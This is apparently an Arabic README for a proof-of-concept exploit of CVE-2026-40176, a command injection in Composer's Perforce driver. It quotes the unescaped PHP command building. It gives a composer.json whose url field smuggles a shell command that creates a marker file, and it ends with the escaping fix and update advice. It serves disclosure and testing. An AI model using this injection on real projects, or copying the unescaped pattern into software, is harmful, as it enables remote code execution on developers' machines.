
استغلال إثبات المفهوم لـ CVE-2026-40176، وهو حقن أوامر نظام التشغيل في برنامج تشغيل Perforce VCS الخاص بـ Composer مما يتيح تنفيذ تعليمات برمجية عن بُعد عبر ملف composer.json مُعدّل.
هذا المستودع هو إثبات المفهوم (PoC) للثغرة الأمنية الحرجة CVE-2026-40176 الخاصة بحقن أوامر نظام التشغيل (OS Command Injection) الموجودة في مشغل VCS من نوع Perforce في Composer. تؤثر هذه الثغرة على إصدارات Composer الأقدم من 2.2.27 و 2.9.6.
توجد الثغرة في طريقة Perforce::generateP4Command(). عند تجميع أوامر الصدفة، لا يتم تنظيف قيم إعدادات المستودع مثل url و p4user و client بشكل كافٍ، مما قد يسمح للمهاجم باستخدام composer.json مُتحكم به لتنفيذ أوامر عشوائية عند قيام الضحية بتشغيل composer install أو composer update.
المكتشف: saku0512 (GitHub)
هذا المشروع مخصص للأغراض التعليمية والتحقق الأمني الأخلاقي المصرح به فقط.
لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذه الأداة أو الأضرار أو الأنشطة غير القانونية الناتجة عنها. يُعد الوصول غير المصرح به إلى أنظمة الحاسوب عملاً غير قانوني. باستخدام هذا البرنامج، فإنك توافق على إجراء التحقق الأمني فقط في بيئات حصلت فيها على إذن صريح.
في طريقة generateP4Command() الموجودة في src/Composer/Util/Perforce.php، يتم بناء أوامر الصدفة عن طريق ربط السلاسل النصية المأخوذة من إعدادات المستودع بشكل مباشر.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // غير مُهرب
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // غير مُهرب
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // غير مُهرب
إذا احتوت هذه القيم على أحرف وصفية للصدفة مثل ; و & و |، فسيتم تفسيرها بواسطة الصدفة، مما يؤدي إلى حقن الأوامر.
تأكد من تثبيت PHP. يقوم إثبات المفهوم هذا بمحاكاة المنطق الضعيف داخل Composer.
# التحقق من إصدار PHP
php -v
يمكن للمهاجم إنشاء composer.json على النحو التالي:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
يقوم الملف المرفق poc.php بمحاكاة منطق توليد الأوامر وتنفيذها الداخلي في إصدار Composer الضعيف.
# تشغيل إثبات المفهوم
php poc.php
تحقق من وجود الملف الذي أنشأه الحمولة لتأكيد تنفيذ الأمر.
ls -l /tmp/pwned_rce_confirmed
في حالة وجود الملف، فهذا يؤكد نجاح تنفيذ الأوامر عن بُعد (RCE).
قم بتحديث Composer فوراً إلى أحدث إصدار.
composer self-update
في الإصلاح، يتم تطبيق ProcessExecutor::escape() على جميع الوسائط المستمدة من إدخال المستخدم لمنع تفسير الصدفة لها.